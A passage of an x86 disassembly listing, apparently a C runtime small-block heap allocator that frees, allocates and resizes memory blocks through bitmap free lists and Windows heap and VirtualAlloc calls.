loc_4273B7:				; CODE XREF: sub_42726C+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4273D6
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_4273D6:				; CODE XREF: sub_42726C+128j
					; sub_42726C+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_4273EE:				; CODE XREF: sub_42726C+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_4273F6
; ---------------------------------------------------------------------------


loc_4273F3:				; CODE XREF: sub_42726C+EDj
		mov	ebx, [ebp+arg_0]


loc_4273F6:				; CODE XREF: sub_42726C+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_427404
		cmp	ebx, edx
		jz	loc_427485


loc_427404:				; CODE XREF: sub_42726C+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_427485
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_42745C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_42744B
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_42744B:				; CODE XREF: sub_42726C+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_427485
; ---------------------------------------------------------------------------


loc_42745C:				; CODE XREF: sub_42726C+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_427472
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_427472:				; CODE XREF: sub_42726C+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_427485:				; CODE XREF: sub_42726C+192j
					; sub_42726C+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_427590
		mov	eax, dword_6319AC
		test	eax, eax
		jz	loc_427582
		mov	ecx, dword_6319A4
		mov	esi, dword_42F1BC
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi ; dword_42F1BC
		mov	ecx, dword_6319A4
		mov	eax, dword_6319AC
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_6319AC
		mov	ecx, dword_6319A4
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_6319AC
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_6319AC
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_427513
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_6319AC


loc_427513:				; CODE XREF: sub_42726C+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_427582
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; dword_42F1BC
		mov	eax, dword_6319AC
		push	dword ptr [eax+10h]
		push	0
		push	dword_6319BC
		call	dword_42F1F0	; RtlFreeHeap
		mov	eax, dword_6319B0
		mov	edx, dword_6319B4
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_6319AC
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_423C20
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_6319B0
		cmp	eax, dword_6319AC
		jbe	short loc_427578
		sub	[ebp+arg_0], 14h


loc_427578:				; CODE XREF: sub_42726C+306j
		mov	eax, dword_6319B4
		mov	dword_6319A8, eax


loc_427582:				; CODE XREF: sub_42726C+234j
					; sub_42726C+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_6319A4, edi
		mov	dword_6319AC, eax


loc_427590:				; CODE XREF: sub_42726C+38j
					; sub_42726C+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42726C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427595	proc near		; CODE XREF: sub_422FB7+49p
					; sub_423F63+78p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_6319B0
		mov	edx, dword_6319B4
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4275D5
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_4275E5
; ---------------------------------------------------------------------------


loc_4275D5:				; CODE XREF: sub_427595+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_4275E5:				; CODE XREF: sub_427595+3Ej
		mov	eax, dword_6319A8
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_42760C


loc_4275F3:				; CODE XREF: sub_427595+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_42760C
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_4275F3


loc_42760C:				; CODE XREF: sub_427595+5Cj
					; sub_427595+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_42768A
		mov	ebx, edx


loc_427613:				; CODE XREF: sub_427595+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_42762F
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_42762D
		add	ebx, 14h
		jmp	short loc_427613
; ---------------------------------------------------------------------------


loc_42762D:				; CODE XREF: sub_427595+91j
		cmp	ebx, eax


loc_42762F:				; CODE XREF: sub_427595+83j
		jnz	short loc_42768A


loc_427631:				; CODE XREF: sub_427595+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_427647
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_427644
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_427631
; ---------------------------------------------------------------------------


loc_427644:				; CODE XREF: sub_427595+A5j
		cmp	ebx, [ebp+var_4]


loc_427647:				; CODE XREF: sub_427595+9Fj
		jnz	short loc_42766F
		mov	ebx, edx


loc_42764B:				; CODE XREF: sub_427595+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_42765F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_42765D
		add	ebx, 14h
		jmp	short loc_42764B
; ---------------------------------------------------------------------------


loc_42765D:				; CODE XREF: sub_427595+C1j
		cmp	ebx, eax


loc_42765F:				; CODE XREF: sub_427595+BBj
		jnz	short loc_42766F
		call	sub_42789E
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_427683


loc_42766F:				; CODE XREF: sub_427595:loc_427647j
					; sub_427595:loc_42765Fj
		push	ebx
		call	sub_42794F
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_42768A


loc_427683:				; CODE XREF: sub_427595+D8j
		xor	eax, eax
		jmp	loc_427899
; ---------------------------------------------------------------------------


loc_42768A:				; CODE XREF: sub_427595+7Aj
					; sub_427595:loc_42762Fj ...
		mov	dword_6319A8, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4276B1
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4276E8


loc_4276B1:				; CODE XREF: sub_427595+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_4276E5


loc_4276CE:				; CODE XREF: sub_427595+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4276CE


loc_4276E5:				; CODE XREF: sub_427595+137j
		mov	edx, [ebp+var_4]


loc_4276E8:				; CODE XREF: sub_427595+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_427711
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_427711:				; CODE XREF: sub_427595+16Dj
					; sub_427595+183j
		test	ecx, ecx
		jl	short loc_42771A
		shl	ecx, 1
		inc	edi
		jmp	short loc_427711
; ---------------------------------------------------------------------------


loc_42771A:				; CODE XREF: sub_427595+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_427737
		push	3Fh
		pop	esi


loc_427737:				; CODE XREF: sub_427595+19Dj
		cmp	esi, edi
		jz	loc_42784C
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4277A8
		cmp	edi, 20h
		jge	short loc_427777
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4277A5
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_4277A8
; ---------------------------------------------------------------------------


loc_427777:				; CODE XREF: sub_427595+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4277A5
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4277A8
; ---------------------------------------------------------------------------


loc_4277A5:				; CODE XREF: sub_427595+1D6j
					; sub_427595+203j
		mov	ebx, [ebp+arg_0]


loc_4277A8:				; CODE XREF: sub_427595+1B0j
					; sub_427595+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_427858
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_427849
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_42781A
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_427808
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_427808:				; CODE XREF: sub_427595+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_427849
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_427595+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_427833
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_427833:				; CODE XREF: sub_427595+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_427849:				; CODE XREF: sub_427595+24Ej
					; sub_427595+283j
		mov	ecx, [ebp+var_8]


loc_42784C:				; CODE XREF: sub_427595+1A4j
		test	ecx, ecx
		jz	short loc_42785B
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_42785B
; ---------------------------------------------------------------------------


loc_427858:				; CODE XREF: sub_427595+229j
		mov	ecx, [ebp+var_8]


loc_42785B:				; CODE XREF: sub_427595+2B9j
					; sub_427595+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_427891
		cmp	ebx, dword_6319AC
		jnz	short loc_427891
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_6319A4
		jnz	short loc_427891
		and	dword_6319AC, 0


loc_427891:				; CODE XREF: sub_427595+2E0j
					; sub_427595+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_427899:				; CODE XREF: sub_427595+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427595	endp


; =============== S U B	R O U T	I N E =======================================



sub_42789E	proc near		; CODE XREF: sub_427595+CCp
		mov	eax, dword_6319B0
		mov	ecx, dword_6319A0
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_4278E1
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_6319B4
		push	edi
		push	dword_6319BC
		call	dword_42F1B4	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_427931
		add	dword_6319A0, 10h
		mov	dword_6319B4, eax
		mov	eax, dword_6319B0


loc_4278E1:				; CODE XREF: sub_42789E+11j
		mov	ecx, dword_6319B4
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_6319BC
		lea	esi, [ecx+eax*4]
		call	dword_42F1EC	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_427931
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_42F1B8	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_427935
		push	dword ptr [esi+10h]
		push	edi
		push	dword_6319BC
		call	dword_42F1F0	; RtlFreeHeap


loc_427931:				; CODE XREF: sub_42789E+30j
					; sub_42789E+67j
		xor	eax, eax
		jmp	short loc_42794C
; ---------------------------------------------------------------------------


loc_427935:				; CODE XREF: sub_42789E+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_6319B0
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_42794C:				; CODE XREF: sub_42789E+95j
		pop	edi
		pop	esi
		retn
sub_42789E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42794F	proc near		; CODE XREF: sub_427595+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_427961:				; CODE XREF: sub_42794F+19j
		test	eax, eax
		jl	short loc_42796A
		shl	eax, 1
		inc	ebx
		jmp	short loc_427961
; ---------------------------------------------------------------------------


loc_42796A:				; CODE XREF: sub_42794F+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_42797F:				; CODE XREF: sub_42794F+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_42797F
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_42F1B8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4279B2
		or	eax, 0FFFFFFFFh
		jmp	loc_427A45
; ---------------------------------------------------------------------------


loc_4279B2:				; CODE XREF: sub_42794F+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_4279F8
		lea	eax, [edi+10h]


loc_4279BF:				; CODE XREF: sub_42794F+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4279BF


loc_4279F8:				; CODE XREF: sub_42794F+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_427A35
		or	[eax+4], edi


loc_427A35:				; CODE XREF: sub_42794F+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_427A45:				; CODE XREF: sub_42794F+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42794F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427A4A	proc near		; CODE XREF: sub_4285CC+8Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_427BF8
		test	bl, 1
		jnz	loc_427BF1
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_427BF1
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_427AC1
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_427AC1:				; CODE XREF: sub_427A4A+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_427B11
		cmp	ecx, 20h
		jnb	short loc_427AED
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_427B11
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_427B11
; ---------------------------------------------------------------------------


loc_427AED:				; CODE XREF: sub_427A4A+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_427B11
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_427B11:				; CODE XREF: sub_427A4A+7Dj
					; sub_427A4A+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_427BDF
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_427B4B
		push	3Fh
		pop	edi


loc_427B4B:				; CODE XREF: sub_427A4A+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_427BCD
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_427BA4
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_427B97
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_427B97:				; CODE XREF: sub_427A4A+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_427BC9
; ---------------------------------------------------------------------------


loc_427BA4:				; CODE XREF: sub_427A4A+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_427BBA
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_427BBA:				; CODE XREF: sub_427A4A+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_427BC9:				; CODE XREF: sub_427A4A+158j
		shr	edx, cl
		or	[eax], edx


loc_427BCD:				; CODE XREF: sub_427A4A+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_427BE2
; ---------------------------------------------------------------------------


loc_427BDF:				; CODE XREF: sub_427A4A+E5j
		mov	edx, [ebp+arg_4]


loc_427BE2:				; CODE XREF: sub_427A4A+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_427D38
; ---------------------------------------------------------------------------


loc_427BF1:				; CODE XREF: sub_427A4A+52j
					; sub_427A4A+5Cj
		xor	eax, eax
		jmp	loc_427D3B
; ---------------------------------------------------------------------------


loc_427BF8:				; CODE XREF: sub_427A4A+49j
		jge	loc_427D38
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_427C23
		push	3Fh
		pop	esi


loc_427C23:				; CODE XREF: sub_427A4A+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_427CB2
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_427C3C
		push	3Fh
		pop	esi


loc_427C3C:				; CODE XREF: sub_427A4A+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_427C8B
		cmp	esi, 20h
		jnb	short loc_427C67
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_427C88
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_427C88
; ---------------------------------------------------------------------------


loc_427C67:				; CODE XREF: sub_427A4A+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_427C88
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_427C88:				; CODE XREF: sub_427A4A+214j
					; sub_427A4A+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_427C8B:				; CODE XREF: sub_427A4A+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_427CB2
		push	3Fh
		pop	esi


loc_427CB2:				; CODE XREF: sub_427A4A+1DDj
					; sub_427A4A+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_427D2F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_427D06
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_427CF9
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_427CF9:				; CODE XREF: sub_427A4A+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_427D2B
; ---------------------------------------------------------------------------


loc_427D06:				; CODE XREF: sub_427A4A+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_427D1C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_427D1C:				; CODE XREF: sub_427A4A+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_427D2B:				; CODE XREF: sub_427A4A+2BAj
		shr	edx, cl
		or	[eax], edx


loc_427D2F:				; CODE XREF: sub_427A4A+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_427D38:				; CODE XREF: sub_427A4A+1A2j
					; sub_427A4A:loc_427BF8j
		push	1
		pop	eax


loc_427D3B:				; CODE XREF: sub_427A4A+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427A4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_427D40	proc near		; CODE XREF: sub_42719C+41p
					; sub_428038:loc_428207p
		cmp	dword_449A88, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_427D54
		mov	esi, offset off_449A78
		jmp	short loc_427D71
; ---------------------------------------------------------------------------


loc_427D54:				; CODE XREF: sub_427D40+Bj
		push	2020h
		push	0
		push	dword_6319BC
